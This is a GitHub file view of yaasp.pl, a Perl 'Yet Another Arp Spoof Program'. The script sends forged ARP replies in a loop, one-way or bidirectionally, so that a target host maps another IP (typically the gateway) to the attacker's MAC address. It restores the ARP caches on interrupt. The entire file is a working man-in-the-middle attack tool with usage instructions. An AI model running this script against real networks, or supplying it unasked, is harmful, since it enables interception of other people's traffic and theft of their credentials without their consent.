-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathyaasp.pl
188 lines (159 loc) · 5.21 KB
/
yaasp.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
#!/usr/bin/env perl
#===============================================================================
#
# FILE: arpsperl.pl
#
# USAGE: ./arpsperl.pl --tell-ip 192.168.1.107 --i-am 192.168.1.1 -i wlan0
#
# DESCRIPTION:
#
# OPTIONS: ---
# REQUIREMENTS: ---
# BUGS: ---
# NOTES: ---
# AUTHOR: gnebbia
# ORGANIZATION:
# VERSION: 1.0
# CREATED: 08/04/2016 06:59:25 PM
# REVISION: ---
#===============================================================================
use Modern::Perl;
use Getopt::Long;
use Net::ARP;
use Net::Frame::Device;
use autodie;
use constant NO_CLEANING_PACKETS => 10;
main();
sub main {
my $net_interface = "wlan0";
my $is_bidirectional = 0;
my $is_help_requested = 0;
my $first_target_ip;
my $second_target_ip;
my $delay;
GetOptions(
'interface|i=s' => \$net_interface,
'tell-ip|t=s' => \$first_target_ip,
'i-am|m=s' => \$second_target_ip,
'bidirectional|b' => \$is_bidirectional,
'delay|d' => \$delay,
'help|h' => \$is_help_requested,
)
or die usage(
"Error in command-line arguments, please provide correct IP addresses");
usage() and exit if ($is_help_requested);
die usage(
"Error in command-line arguments, please provide correct IP addresses")
unless ( $first_target_ip and $second_target_ip );
my $host_net_device = Net::Frame::Device->new( dev => $net_interface )
or die "Cannot open device $net_interface";
$SIG{INT} = sub {
arp_clean(
$host_net_device, $first_target_ip, $second_target_ip,
$is_bidirectional, $delay
);
};
if ( !$is_bidirectional ) {
while (1) {
send_arp_packet( $host_net_device, $second_target_ip,
$first_target_ip, 1 )
or die "Error while sending packet: $!\n";
say
"i told $first_target_ip that i am $second_target_ip now he knows my mac "
. $host_net_device->mac
. " one way packet sent";
sleep($delay) if $delay;
}
}
else {
while (1) {
# Packet from target 1 to target 2
send_arp_packet( $host_net_device, $second_target_ip,
$first_target_ip, 1 )
or die "Error while sending packet: $!\n";
# Packet from target 2 to target 1
send_arp_packet( $host_net_device, $first_target_ip,
$second_target_ip, 1 )
or die "Error while sending packet: $!\n";
sleep($delay) if $delay;
}
}
}
sub arp_clean {
my (
$host_net_device, $first_target_ip, $second_target_ip,
$is_bidirectional, $delay
) = @_;
say "ARP Cache Cleaning...";
if ( !$is_bidirectional ) {
for ( 1 .. NO_CLEANING_PACKETS ) {
send_arp_packet( $host_net_device, $second_target_ip,
$first_target_ip );
say "sending cleaning packet...";
sleep($delay) if $delay;
}
}
else {
for ( 1 .. NO_CLEANING_PACKETS ) {
send_arp_packet( $host_net_device, $second_target_ip,
$first_target_ip );
say "cleaning packet A->B";
sleep($delay) if $delay;
}
for ( 1 .. NO_CLEANING_PACKETS ) {
send_arp_packet( $host_net_device, $first_target_ip,
$second_target_ip );
say "cleaning packet B->A";
sleep($delay) if $delay;
}
}
print("ARP Cache Cleaned!\n");
exit(0);
}
sub send_arp_packet {
my ( $host_net_device, $first_target_ip, $second_target_ip, $is_spoofing )
= @_;
my $first_target_mac =
Net::ARP::arp_lookup( $host_net_device->dev, $first_target_ip );
my $second_target_mac =
Net::ARP::arp_lookup( $host_net_device->dev, $second_target_ip );
if ($is_spoofing) {
Net::ARP::send_packet(
$host_net_device->dev, # Device
$first_target_ip, # Source IP
$second_target_ip, # Destination IP
$host_net_device->mac, # Source MAC
$second_target_mac, # Destinaton MAC
'reply',
);
}
else {
Net::ARP::send_packet(
$host_net_device->dev, # Device
$first_target_ip, # Source IP
$second_target_ip, # Destination IP
$first_target_mac, # Source MAC
$second_target_mac, # Destinaton MAC
'reply',
);
}
}
sub error_arguments {
print usage();
}
sub usage {
my ($error_message) = @_;
say $error_message if $error_message;
print <<"EOUSAGE";
This is yaasp (Yet Another Arp Spoof Program), a perl script to perform arp spoof.
Usage Example: $0 --interface <interface_name> --tell-ip <first_target> --i-am <second_target>
Command Line Arguments:
[--interface] <dev> specifies the net interface on which
to perform arp spoof, default is "wlan0"
[--tell-ip] <ip> specifies the ip address on which we
will tell a lie and perform the spoof
[--i-am] <ip> specifies which ip we will fake, often
one set this to the gateway
[--help] show this help
EOUSAGE
}